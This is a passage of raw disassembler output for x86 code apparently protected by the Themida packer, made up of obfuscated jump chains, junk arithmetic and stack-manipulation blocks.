		jmp	loc_56EF67
; ---------------------------------------------------------------------------


loc_55F277:				; CODE XREF: sub_55EDA7+10633j
		pop	esp
		mov	[esp-14h+arg_10], edi
		jmp	loc_56A8A4
; ---------------------------------------------------------------------------


loc_55F280:				; CODE XREF: sub_55EDA7+5B6Fj
		sub	edi, 4
		xor	edi, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], edi
		xor	edi, [esp-14h+arg_10]
		pop	esp
		jmp	loc_561B36
; ---------------------------------------------------------------------------


loc_55F292:				; CODE XREF: sub_55EDA7+7BDFj
		push	esi
		push	27B33074h
		pop	esi
		push	eax
		mov	eax, 6518799Ah
		shr	eax, 1
		and	eax, 79D67533h
		neg	eax
		or	eax, 5E6A19D2h
		inc	eax
		add	eax, 8B6A90A6h
		xor	esi, eax
		jmp	loc_563370
; ---------------------------------------------------------------------------


loc_55F2BA:				; CODE XREF: sub_55EDA7+416Cj
		sub	edi, 831B52F6h
		add	eax, edi
		pop	edi
		jmp	loc_562EF4
; ---------------------------------------------------------------------------


loc_55F2C8:				; CODE XREF: sub_55EDA7+AA22j
		mov	[esp-14h+arg_10], edx
		push	[esp-14h+arg_14]
		push	[esp-10h+arg_C]
		pop	edx
		add	esp, 4
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		push	[esp-18h+arg_14]
		pop	eax
		jmp	loc_56C781
; ---------------------------------------------------------------------------


loc_55F2E5:				; CODE XREF: sub_55EDA7+95A8j
		neg	edx
		jmp	loc_56F409
; ---------------------------------------------------------------------------


loc_55F2EC:				; CODE XREF: sub_55EDA7+9A7Aj
		mov	edx, 333A6D0Ch
		jmp	loc_569101
; ---------------------------------------------------------------------------


loc_55F2F6:				; CODE XREF: sub_55EDA7+97Fj
		mov	cx, word ptr [esp-18h+arg_14]
		sub	esp, 4
		mov	[esp-14h+arg_10], edi
		push	esp
		mov	edi, [esp-10h+arg_C]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-0Ch+arg_8]
		pop	esp
		add	edi, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_56D7BF
; ---------------------------------------------------------------------------


loc_55F325:				; CODE XREF: sub_55EDA7+12387j
		xchg	esi, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		and	word ptr [esp-0Ch+arg_8], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55F335:				; CODE XREF: sub_55EDA7+13B17j
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		mov	edi, ebp
		jmp	loc_56DDFB
; ---------------------------------------------------------------------------


loc_55F345:				; CODE XREF: sub_55EDA7+3685j
		sub	[esp-4+arg_0], 503153D9h
		pop	esi
		add	esi, 503153D9h
		jmp	loc_56DAB4
; ---------------------------------------------------------------------------


loc_55F358:				; DATA XREF: Themida_:0055E0FCo
		mov	cx, word ptr [esp-8+arg_4]
		jmp	loc_570CEC
; ---------------------------------------------------------------------------


loc_55F361:				; CODE XREF: sub_55EDA7+101E1j
		mov	esp, [esp-8+arg_4]
		test	ecx, eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55F36C:				; CODE XREF: sub_55EDA7+10F1Bj
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_55E38C
; ---------------------------------------------------------------------------


loc_55F377:				; CODE XREF: sub_55EDA7+D49j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_56C372
; ---------------------------------------------------------------------------


loc_55F38D:				; CODE XREF: sub_55EDA7+D380j
		pop	edi
		push	1E6Ah
		mov	[esp+0], ecx
		jmp	loc_5611C4
; ---------------------------------------------------------------------------


loc_55F39B:				; CODE XREF: sub_55EDA7+EF58j
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 45195D81h
		jmp	loc_56331D
; ---------------------------------------------------------------------------


loc_55F3AE:				; CODE XREF: sub_55EDA7+2295j
		neg	edx
		jmp	loc_55F8B2
; ---------------------------------------------------------------------------


loc_55F3B5:				; CODE XREF: sub_55EDA7+7328j
		pop	esp
		push	edx
		jmp	loc_56D3B9
; ---------------------------------------------------------------------------


loc_55F3BC:				; CODE XREF: sub_55EDA7+103E7j
		add	eax, 7D6D67C0h
		push	esi
		mov	esi, 6020830h
		sub	eax, 154D2AA5h
		sub	eax, esi
		jmp	loc_569CD2
; ---------------------------------------------------------------------------


loc_55F3D3:				; CODE XREF: sub_55EDA7+122F9j
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		add	ebx, 47FBA7AEh
		add	edi, ebx
		jmp	loc_5621D5
; ---------------------------------------------------------------------------


loc_55F3E7:				; CODE XREF: sub_55EDA7+475Fj
		push	eax
		mov	eax, 4C716348h
		sub	eax, 47F1208Fh
		jmp	loc_56DD9F
; ---------------------------------------------------------------------------


loc_55F3F7:				; CODE XREF: sub_55EDA7+C106j
		pop	eax
		sub	edi, 84AB85DFh
		xor	edx, edi
		pop	edi
		add	eax, edx
		jmp	loc_56F902
; ---------------------------------------------------------------------------


loc_55F408:				; CODE XREF: sub_55EDA7+FE75j
		sub	ecx, ebx
		sub	ecx, 36941369h
		pop	ebx
		jmp	loc_566474
; ---------------------------------------------------------------------------


loc_55F416:				; CODE XREF: sub_55EDA7+7BFAj
		pop	ecx
		shr	al, 8
		dec	al
		add	al, 80h
		jmp	loc_55E69B
; ---------------------------------------------------------------------------


loc_55F423:				; CODE XREF: sub_55EDA7+10F8Fj
		pop	esp
		mov	[esp-0Ch+arg_8], edx
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		push	edx
		push	[esp-8+arg_8]
		pop	edx
		pop	[esp-8+arg_4]
		jmp	loc_5697A6
; ---------------------------------------------------------------------------


loc_55F459:				; CODE XREF: sub_55EDA7+F576j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_56A59A
; ---------------------------------------------------------------------------


loc_55F46F:				; CODE XREF: sub_55EDA7+9094j
		and	eax, ecx
		pop	ecx
		dec	eax
		sub	eax, 0D8C5E317h
		mov	edi, eax
		pop	eax
		jmp	loc_56FD41
; ---------------------------------------------------------------------------


loc_55F480:				; CODE XREF: sub_55EDA7+11FAAj
		pop	edx
		sub	esp, 4
		mov	[esp-10h+arg_C], esi
		jmp	loc_55EEDF
; ---------------------------------------------------------------------------


loc_55F48C:				; CODE XREF: sub_55EDA7+55DEj
		shl	edx, 6
		xor	edx, 69865B04h
		mov	ebp, edx
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		sub	edx, 38F25B9Eh
		jmp	loc_5651E8
; ---------------------------------------------------------------------------


loc_55F4A8:				; CODE XREF: sub_55EDA7+1308Bj
		xchg	ebx, [esp-14h+arg_10]
		pop	esp
		add	edx, edi
		add	edx, 9CA6D0Bh
		sub	esp, 4
		mov	[esp-14h+arg_10], ebp
		jmp	loc_572A48
; ---------------------------------------------------------------------------


loc_55F4BF:				; CODE XREF: sub_55EDA7+A674j
		add	esi, 4
		jmp	loc_56E19F
; ---------------------------------------------------------------------------


loc_55F4CA:				; CODE XREF: sub_55EDA7+11099j
		pop	edx
		push	edx
		mov	dl, 1
		add	bh, dl
		mov	edx, [esp-14h+arg_10]
		add	esp, 4
		shl	bh, 6
		jmp	loc_56EFE3
; ---------------------------------------------------------------------------


loc_55F4E1:				; CODE XREF: sub_55EDA7+9DD4j
		mov	esp, [esp-18h+arg_14]
		push	[esp-18h+arg_14]
		pop	eax
		sub	esp, 4
		jmp	loc_56F3EC
; ---------------------------------------------------------------------------


loc_55F4F3:				; CODE XREF: sub_55EDA7+9328j
		mov	eax, 0EA83E532h
		sub	edx, 54C42AC4h
		add	edx, eax
		push	esi
		jmp	loc_5609D6
; ---------------------------------------------------------------------------


loc_55F506:				; CODE XREF: sub_55EDA7+C43j
		add	ecx, 6F211BCEh
		sub	ecx, esi
		sub	ecx, 6F211BCEh
		pop	esi
		jmp	loc_56C601
; ---------------------------------------------------------------------------


loc_55F51A:				; CODE XREF: sub_55EDA7+D09Dj
		pop	edx
		push	ebp
		mov	ebp, 433F6595h
		jmp	loc_55FA80
; ---------------------------------------------------------------------------


loc_55F526:				; CODE XREF: sub_55EDA7+A1BEj
		push	[esp-14h+arg_14]
		pop	esi
		pop	[esp-14h+arg_10]
		pop	esp
		mov	[esp-1Ch+arg_18], ecx
		push	[esp-1Ch+arg_1C]
		mov	ecx, [esp-18h+arg_14]
		push	ebx
		jmp	loc_56FFB0
; ---------------------------------------------------------------------------


loc_55F53F:				; CODE XREF: sub_55EDA7+1280j
		xor	edi, 29B974C6h
		and	edi, 77F278E8h
		add	edi, 0BEFBB5A4h
		push	edi
		pop	esi
		jmp	loc_560C46
; ---------------------------------------------------------------------------


loc_55F558:				; CODE XREF: sub_55EDA7+8367j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], ebp
		xor	ebp, [esp-14h+arg_10]
		jmp	loc_56FAD8
; ---------------------------------------------------------------------------


loc_55F574:				; CODE XREF: sub_55EDA7+5049j
		push	ebx
		mov	ebx, 7DB60B61h
		shl	ebx, 2
		sub	ebx, 1
		xor	ebx, 89075240h
		xor	edx, ebx
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		add	esi, edx
		pop	edx
		push	esi
		push	[esp-14h+arg_14]
		pop	esi
		pop	[esp-14h+arg_10]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	[esp-18h+arg_14]
		push	[esp-14h+arg_10]
		jmp	loc_56AFF6
; ---------------------------------------------------------------------------


loc_55F5A9:				; CODE XREF: sub_55EDA7-574j
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_566022
; ---------------------------------------------------------------------------


loc_55F5B6:				; CODE XREF: sub_55EDA7+12242j
		mov	eax, 31E87EDDh
		sub	eax, 38A32C8Eh
		jmp	loc_570125
; ---------------------------------------------------------------------------


loc_55F5C5:				; CODE XREF: sub_55EDA7+2BB7j
		xchg	ebx, edi
		push	ebx
		push	esi
		push	[esp-10h+arg_10]
		mov	esi, [esp-0Ch+arg_8]
		jmp	loc_56BF0F
; ---------------------------------------------------------------------------


loc_55F5D5:				; CODE XREF: sub_55EDA7+1363j
		add	edi, 1
		sub	edi, 58315621h
		push	eax
		mov	eax, 7A4376DEh
		xor	eax, 5D4D058Fh
		dec	eax
		sub	eax, 829AFF48h
		sub	edi, eax
		pop	eax
		mov	eax, edi
		pop	edi
		xor	edx, eax
		push	[esp-10h+arg_C]
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_568FA0
; ---------------------------------------------------------------------------


loc_55F605:				; CODE XREF: sub_55EDA7+4EF1j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55F60A:				; CODE XREF: sub_55EDA7+EE2Ej
		or	eax, 5E9D3CDDh
		or	eax, 544C3FEAh
		inc	eax
		and	eax, 346926D8h
		jmp	loc_56622A
; ---------------------------------------------------------------------------


loc_55F61F:				; CODE XREF: sub_55EDA7+9E43j
		pop	esp
		push	bx
		push	7B8h
		jmp	loc_55E731
; ---------------------------------------------------------------------------


loc_55F62C:				; CODE XREF: sub_56BF99+Ej
		dec	eax
		jmp	loc_56F2F4
; ---------------------------------------------------------------------------


loc_55F632:				; CODE XREF: sub_55EDA7+67BDj
		mov	ebp, 62E9535Ch
		sub	ebp, 0BDE10AD7h
		add	esi, ebp
		jmp	loc_570C0A
; ---------------------------------------------------------------------------


loc_55F644:				; CODE XREF: sub_55EDA7+1EAFj
		add	esi, 76606E74h
		add	edx, esi
		mov	esi, [esp-0Ah+arg_4+2]
		push	7110h
		mov	[esp-6+arg_0+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6+arg_0+2]
		pop	esp
		sub	edx, 2
		xor	edx, [esp-0Ah+arg_4+2]
		xor	[esp-0Ah+arg_4+2], edx
		xor	edx, [esp-0Ah+arg_4+2]
		jmp	loc_56C09B
; ---------------------------------------------------------------------------


loc_55F67A:				; CODE XREF: sub_55EDA7+10A7Bj
		xor	bl, ah
		jmp	loc_56ECCB
; ---------------------------------------------------------------------------


loc_55F681:				; CODE XREF: sub_55EDA7+13FC3j
		add	eax, ecx
		pop	ecx
		jmp	loc_5717ED
; ---------------------------------------------------------------------------


loc_55F689:				; CODE XREF: sub_55EDA7+338Fj
		push	edx
		jmp	loc_560E08
; ---------------------------------------------------------------------------


loc_55F68F:				; CODE XREF: sub_55EDA7+AAC5j
		push	68022533h
		mov	edi, [esp-6+arg_0+2]
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_564D43
; ---------------------------------------------------------------------------


loc_55F6A2:				; CODE XREF: sub_55EDA7+B2D3j
		xchg	ebx, [esp+0]
		pop	esp
		xor	edx, [esp-6+arg_0+2]
		xor	[esp-6+arg_0+2], edx
		jmp	loc_560E18
; ---------------------------------------------------------------------------


loc_55F6B1:				; CODE XREF: sub_55EDA7+97EDj
		add	esp, 4
		jmp	loc_56C448
; ---------------------------------------------------------------------------


loc_55F6B9:				; CODE XREF: sub_55EDA7+449Dj
		mov	edx, 66C41FA3h
		jmp	loc_5608EF
; ---------------------------------------------------------------------------


loc_55F6C3:				; CODE XREF: sub_55EDA7+5D33j
		inc	esi
		xor	esi, 6E841295h
		inc	esi
		sub	esi, 0F1F9FD96h
		sub	ebp, esi
		pop	esi
		shr	ebp, 2
		shr	ebp, 8
		xor	ebp, 56DD08DCh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56630F
; ---------------------------------------------------------------------------


loc_55F6E8:				; CODE XREF: sub_55EDA7+AB3Cj
		mov	esi, 1BE4421Bh
		push	edx
		mov	edx, 5A124AFCh
		push	eax
		jmp	loc_56D71B
; ---------------------------------------------------------------------------


loc_55F6F9:				; CODE XREF: sub_55EDA7+F2D3j
		add	ebx, ebp
		add	ebx, 41964BD6h
		jmp	loc_561E82
; ---------------------------------------------------------------------------


loc_55F706:				; CODE XREF: sub_55EDA7+139BEj
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_56CEF9
; ---------------------------------------------------------------------------


loc_55F717:				; CODE XREF: sub_55EDA7+3885j
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp-0Eh+arg_8+2]
		mov	esp, [esp-0Eh+arg_8+2]
		jmp	loc_55F2F6
; ---------------------------------------------------------------------------


loc_55F72B:				; CODE XREF: sub_55EDA7+7353j
		add	al, ch
		pop	ecx
		push	dx
		mov	dh, 0EFh
		sub	al, dh
		mov	dx, word ptr [esp-10h+arg_C]
		add	esp, 2
		jmp	loc_5645BE
; ---------------------------------------------------------------------------


loc_55F743:				; CODE XREF: sub_55EDA7+F0A2j
		pop	edx
		push	ebx
		jmp	loc_5656A0
; ---------------------------------------------------------------------------


loc_55F74A:				; CODE XREF: sub_55EDA7+6CBEj
		push	ecx
		pop	edx
		pop	ecx
		add	edx, 84F7C4C3h
		and	eax, edx
		push	[esp-18h+arg_14]
		mov	edx, [esp-14h+arg_10]
		jmp	loc_5685D8
; ---------------------------------------------------------------------------


loc_55F760:				; CODE XREF: sub_55EDA7+5B9Bj
		shr	eax, 8
		jmp	loc_564A8D
; ---------------------------------------------------------------------------


loc_55F768:				; CODE XREF: sub_55EDA7+2381j
		mov	ecx, 536F587Ah
		dec	ecx
		shl	ecx, 8
		shl	ecx, 3
		or	ecx, 59180E07h
		push	esi
		mov	esi, 0
		jmp	loc_563D0B
; ---------------------------------------------------------------------------


loc_55F785:				; CODE XREF: sub_55EDA7+8F88j
		pop	edi
		sub	edi, 1C1364B8h
		mov	eax, [esp-14h+arg_10]
		jmp	loc_56AFEA
; ---------------------------------------------------------------------------


loc_55F794:				; CODE XREF: sub_55EDA7+7400j
		sub	esp, 4
		mov	[esp-10h+arg_C], eax
		mov	eax, 6A3A2B84h
		sub	eax, 0FFFFFFFFh
		shr	eax, 5
		sub	eax, 6D99739Ah
		jmp	loc_565DC8
; ---------------------------------------------------------------------------


loc_55F7B1:				; CODE XREF: sub_55EDA7+7270j
		push	3AFD47B5h
		pop	edx
		push	ebp
		push	ebx
		jmp	loc_56729D
; ---------------------------------------------------------------------------


loc_55F7BE:				; CODE XREF: sub_55EDA7+2D2Aj
		xor	edi, [esp-8+arg_4]
		jmp	loc_56E3A6
; ---------------------------------------------------------------------------


loc_55F7C6:				; CODE XREF: sub_55EDA7+FB26j
		not	dl
		not	dl
		add	dl, 10h
		jmp	loc_55E34A
; ---------------------------------------------------------------------------


loc_55F7D2:				; CODE XREF: sub_55EDA7+97AEj
		mov	eax, 7574F65h
		add	ecx, eax
		jmp	loc_56D6D2
; ---------------------------------------------------------------------------


loc_55F7DE:				; CODE XREF: sub_55EDA7+12CBBj
		add	edx, 29C13969h
		push	ecx
		mov	ecx, 315655C2h
		add	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		add	eax, [ecx]
		jmp	loc_564B5E
; ---------------------------------------------------------------------------


loc_55F7FC:				; CODE XREF: sub_55EDA7+CE8Dj
		add	ebp, esi
		pop	esi
		jmp	loc_567220
; ---------------------------------------------------------------------------


loc_55F804:				; CODE XREF: sub_55EDA7+29E5j
		pop	ecx
		sub	edx, 4
		jmp	loc_55FA78
; ---------------------------------------------------------------------------


loc_55F80D:				; CODE XREF: sub_55EDA7+1329j
		mov	ebx, 34B06661h
		inc	ebx
		jmp	loc_5608DC
; ---------------------------------------------------------------------------


loc_55F818:				; CODE XREF: sub_55EDA7+3C9Cj
		pop	ebp
		pop	edi
		jmp	loc_55F9FF
; ---------------------------------------------------------------------------


loc_55F81F:				; CODE XREF: sub_55EDA7+EADAj
		push	[esp-14h+arg_10]
		pop	ecx
		jmp	loc_5693A9
; ---------------------------------------------------------------------------


loc_55F828:				; CODE XREF: sub_55EDA7+3C15j
		mov	ebx, 1A1647F6h
		jmp	loc_570F72
; ---------------------------------------------------------------------------


loc_55F832:				; CODE XREF: sub_5710B6+6j
		pop	ebx
		sub	ebx, 688D3904h
		xor	ebx, 0F229BA8Ch
		mov	ecx, ebx
		pop	ebx
		jmp	loc_567918
; ---------------------------------------------------------------------------


loc_55F847:				; DATA XREF: Themida_:0055E004o
		mov	cx, word ptr [esp-1Ch+arg_18]
		push	eax
		push	esp
		pop	eax
		push	edx
		push	7C35h
		mov	[esp-10h+arg_C], edi
		jmp	loc_5697E2
; ---------------------------------------------------------------------------


loc_55F85C:				; CODE XREF: sub_55EDA7+388Bj
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		push	ecx
		push	ebx
		push	ecx
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		mov	cl, bl
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	edx
		mov	dh, cl
		mov	bh, dh
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		pop	ecx
		jmp	loc_56F83A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp-0Eh+arg_8+2], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55F899:				; CODE XREF: sub_55EDA7+8D93j
		add	esi, 24FA440Fh
		mov	ecx, esi
		pop	esi
		add	edx, ecx
		mov	ecx, [esp-0Eh+arg_8+2]
		add	esp, 4
		jmp	loc_57207E
; ---------------------------------------------------------------------------


loc_55F8B2:				; CODE XREF: sub_55EDA7+609j
		sub	edx, 0CA9B8B67h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_55EFB9
; ---------------------------------------------------------------------------


loc_55F8C4:				; CODE XREF: sub_55EDA7+E876j
		push	51D4h
		jmp	loc_561BF5
; ---------------------------------------------------------------------------


loc_55F8CE:				; CODE XREF: sub_55EDA7+20Dj
		add	ecx, esi
		mov	esi, [esp+34h+var_36+2]
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_563A57
; ---------------------------------------------------------------------------


loc_55F8DC:				; CODE XREF: sub_55EDA7+13FDBj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55F8E1:				; CODE XREF: sub_55EDA7+2090j
		shl	edx, 4
		shr	edx, 1
		jmp	loc_56E693
; ---------------------------------------------------------------------------


loc_55F8EB:				; CODE XREF: sub_55EDA7+DA4Cj
		xor	esi, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		jmp	loc_56D81D
; ---------------------------------------------------------------------------


loc_55F8F6:				; CODE XREF: sub_55EDA7+9CF2j
		mov	edi, 393A71D2h
		sub	[esp+3Ch+var_32+2], edi
		pop	edi
		pop	edx
		push	esi
		mov	esi, 51142187h
		sub	[esp+38h+var_32+2], esi
		pop	esi
		add	[esp+34h+var_32+2], ebp
		add	[esp+34h+var_32+2], 51142187h
		push	ebx
		push	ebp
		mov	ebp, 51402EC0h
		add	ebp, 1E2F5027h
		not	ebp
		push	eax
		mov	eax, 4B4911F8h
		xor	eax, 3A8130EDh
		jmp	loc_567177
; ---------------------------------------------------------------------------


loc_55F937:				; CODE XREF: sub_55EDA7+1234Cj
		mov	ebp, [esp+40h+var_42+2]
		push	1BA7h
		jmp	loc_571B07
; ---------------------------------------------------------------------------


loc_55F944:				; CODE XREF: sub_55EDA7+11ABj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_56B47F
; ---------------------------------------------------------------------------


loc_55F952:				; CODE XREF: sub_55EDA7+7444j
		push	[esp+44h+var_46+2]
		pop	ebp
		add	esp, 4
		jmp	loc_570968
; ---------------------------------------------------------------------------


loc_55F95E:				; CODE XREF: sub_55EDA7+11EACj
		add	eax, 72CFD976h
		jmp	loc_568442
; ---------------------------------------------------------------------------


loc_55F968:				; CODE XREF: sub_55EDA7+2A1Bj
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_561951
; ---------------------------------------------------------------------------


loc_55F971:				; CODE XREF: sub_55EDA7+DFDBj
		pop	edi
		xor	ebx, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], ebx
		jmp	loc_568EF5
; ---------------------------------------------------------------------------


loc_55F97D:				; CODE XREF: sub_55EDA7+322Cj
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+48h+var_4A+2]
		pop	esp
		movzx	ax, byte ptr [eax]
		jmp	loc_568DCA
; ---------------------------------------------------------------------------


loc_55F99C:				; CODE XREF: sub_55EDA7+486Cj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], ebx
		mov	ebx, 4
		jmp	loc_567DBA
; ---------------------------------------------------------------------------


loc_55F9B9:				; DATA XREF: Themida_:0055E00Co
		mov	cx, word ptr [esp+40h+var_42+2]
		jmp	sub_56D048
; ---------------------------------------------------------------------------


loc_55F9C2:				; CODE XREF: sub_55EDA7+4A63j
		pop	esp
		mov	esi, [esp+3Ch+var_3E+2]
		jmp	sub_572AFB
; ---------------------------------------------------------------------------


loc_55F9CB:				; CODE XREF: sub_55EDA7+CE3Fj
		and	dl, al
		pop	eax
		jmp	loc_561A8B
; ---------------------------------------------------------------------------


loc_55F9D3:				; CODE XREF: sub_56C517+3j
		mov	[esp+38h+var_3A+2], ecx
		jmp	loc_563934
; ---------------------------------------------------------------------------


loc_55F9DB:				; CODE XREF: sub_55EDA7+2E23j
		add	ebx, ecx
		add	ebx, 5DE91438h
		pop	ecx
		push	esi
		mov	esi, 7FC74BCAh
		jmp	loc_55F506
; ---------------------------------------------------------------------------


loc_55F9EF:				; CODE XREF: Themida_:0056D169j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp+34h+var_36+2]
		jmp	loc_567A4C
; ---------------------------------------------------------------------------


loc_55F9FF:				; CODE XREF: sub_55EDA7+A73j
		add	esi, ebp
		pop	ebp
		and	esi, 3BDA52DDh
		push	ecx
		push	ebx
		mov	ebx, 1A1F19BEh
		mov	ecx, ebx
		jmp	loc_55FFBF
; ---------------------------------------------------------------------------


loc_55FA16:				; CODE XREF: sub_55EDA7+611Ej
		add	ebx, 4
		sub	esp, 4
		jmp	loc_564FE1
; ---------------------------------------------------------------------------


loc_55FA24:				; CODE XREF: sub_55EDA7+113DEj
		pop	ecx
		sub	ecx, 6CF007DDh
		add	esi, ecx
		pop	ecx
		jmp	loc_56BDC3
; ---------------------------------------------------------------------------


loc_55FA33:				; DATA XREF: Themida_:0055DF3Co
		mov	cx, word ptr [esp-14h+arg_10]
		push	1641h
		mov	[esp-10h+arg_C], eax
		jmp	loc_5657C1
; ---------------------------------------------------------------------------


loc_55FA44:				; CODE XREF: sub_55EDA7+6AAEj
		add	edx, ebp
		add	edx, 309B5225h
		jmp	loc_570415
; ---------------------------------------------------------------------------


loc_55FA51:				; CODE XREF: sub_55EDA7+D1BDj
		shr	ebx, 8
		or	ebx, 2BC1601Ch
		inc	ebx
		add	ebx, 0D4128266h
		sub	eax, 73F941B5h
		add	eax, ebx
		add	eax, 73F941B5h
		mov	ebx, [esp-10h+arg_C]
		push	ebx
		mov	ebx, esp
		jmp	loc_566A81
; ---------------------------------------------------------------------------


loc_55FA78:				; CODE XREF: sub_55EDA7+A61j
		xor	edx, [esp-0Ch+arg_8]
		jmp	loc_5680C3
; ---------------------------------------------------------------------------


loc_55FA80:				; CODE XREF: sub_55EDA7+77Aj
		xor	ebp, 433F6591h
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-14h+arg_10], esi
		mov	esi, 2
		jmp	loc_560939
; ---------------------------------------------------------------------------


loc_55FA9C:				; CODE XREF: sub_55EDA7+4DEFj
		push	ecx
		jmp	loc_5699C1
; ---------------------------------------------------------------------------


loc_55FAA2:				; CODE XREF: sub_55EDA7+BD25j
		add	dh, 0C4h
		add	dh, 0F9h
		inc	dh
		add	dh, 1Dh
		mov	ch, dh
		pop	edx
		add	al, ch
		pop	cx
		sub	esp, 4
		mov	[esp-12h+arg_C+2], ebx
		push	53F2h
		mov	[esp-0Eh+arg_8+2], edx
		mov	dh, 29h
		mov	bh, 0CCh
		xor	bh, dh
		pop	edx
		push	6D9Bh
		mov	[esp-0Eh+arg_8+2], ecx
		mov	cl, 0D3h
		not	cl
		shl	cl, 1
		jmp	loc_56F4A2
; ---------------------------------------------------------------------------


loc_55FADC:				; CODE XREF: sub_56FE1D+11j
		add	ebx, 4
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], ebx
		push	[esp-0Ah+arg_8+2]
		mov	ebx, [esp-6+arg_0+2]
		push	ebp
		jmp	loc_55F377
; ---------------------------------------------------------------------------


loc_55FAF5:				; CODE XREF: sub_55EDA7+CC81j
		mov	esi, 13A1FC6h
		shr	esi, 8
		shl	esi, 4
		inc	esi
		add	esi, 0D156E5Fh
		sub	ebp, esi
		pop	esi
		add	edx, 2E5B7CF7h
		add	edx, ebp
		sub	edx, 2E5B7CF7h
		jmp	loc_56C184
; ---------------------------------------------------------------------------


loc_55FB1D:				; CODE XREF: sub_55EDA7+10714j
		or	edi, 71C44253h
		push	edx
		mov	edx, 2BAE3768h
		add	edx, 557C7464h
		shl	edx, 5
		shr	edx, 3
		jmp	loc_56E7EE
; ---------------------------------------------------------------------------


loc_55FB3A:				; CODE XREF: sub_55EDA7+103F8j
		add	edx, 0E6A767C7h
		add	ecx, edx
		mov	edx, [esp+0]
		add	esp, 4
		add	ecx, 7DA96767h
		add	ecx, esi
		sub	ecx, 7DA96767h
		push	edx
		jmp	loc_564006
; ---------------------------------------------------------------------------


loc_55FB5F:				; CODE XREF: sub_55EDA7+B181j
		mov	ah, ch
		mov	bl, ah
		jmp	loc_561BDA
; ---------------------------------------------------------------------------


loc_55FB68:				; CODE XREF: sub_55EDA7+7D60j
		mov	edx, 2E043804h
		mov	ebx, edx
		pop	edx
		shl	ebx, 3
		push	3888h
		mov	[esp+0], edx
		jmp	loc_56C6AF
; ---------------------------------------------------------------------------


loc_55FB80:				; CODE XREF: sub_55EDA7+13EC8j
		idiv	cx
		push	small 729Ch
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_56492C
; ---------------------------------------------------------------------------


loc_55FB93:				; CODE XREF: sub_55EDA7+13C10j
		pop	edi
		sub	ebx, 39C60504h
		mov	ecx, [esp+2+var_4+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_570243
; ---------------------------------------------------------------------------


loc_55FBAB:				; CODE XREF: sub_55EDA7+9F8Dj
		xor	[esp+6+var_8+2], ebp
		xor	ebp, [esp+6+var_8+2]
		pop	esp
		add	esp, 4
		sub	ebx, 0F2F1DEB9h
		mov	esi, ebx
		pop	ebx
		jmp	loc_56AE6B
; ---------------------------------------------------------------------------


loc_55FBC3:				; CODE XREF: sub_55EDA7+1C90j
		pop	eax
		sub	esp, 4
		mov	[esp-6+arg_0+2], esi
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 4D84653Bh
		shr	edx, 2
		jmp	loc_56E4C2
; ---------------------------------------------------------------------------


loc_55FBDD:				; CODE XREF: sub_55EDA7+AD6Cj
		sub	al, ch
		add	al, 72h
		pop	cx
		sub	esp, 2
		mov	[esp+0], ax
		mov	al, 77h
		jmp	loc_57248C
; ---------------------------------------------------------------------------


loc_55FBF1:				; CODE XREF: sub_55EDA7+3265j
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
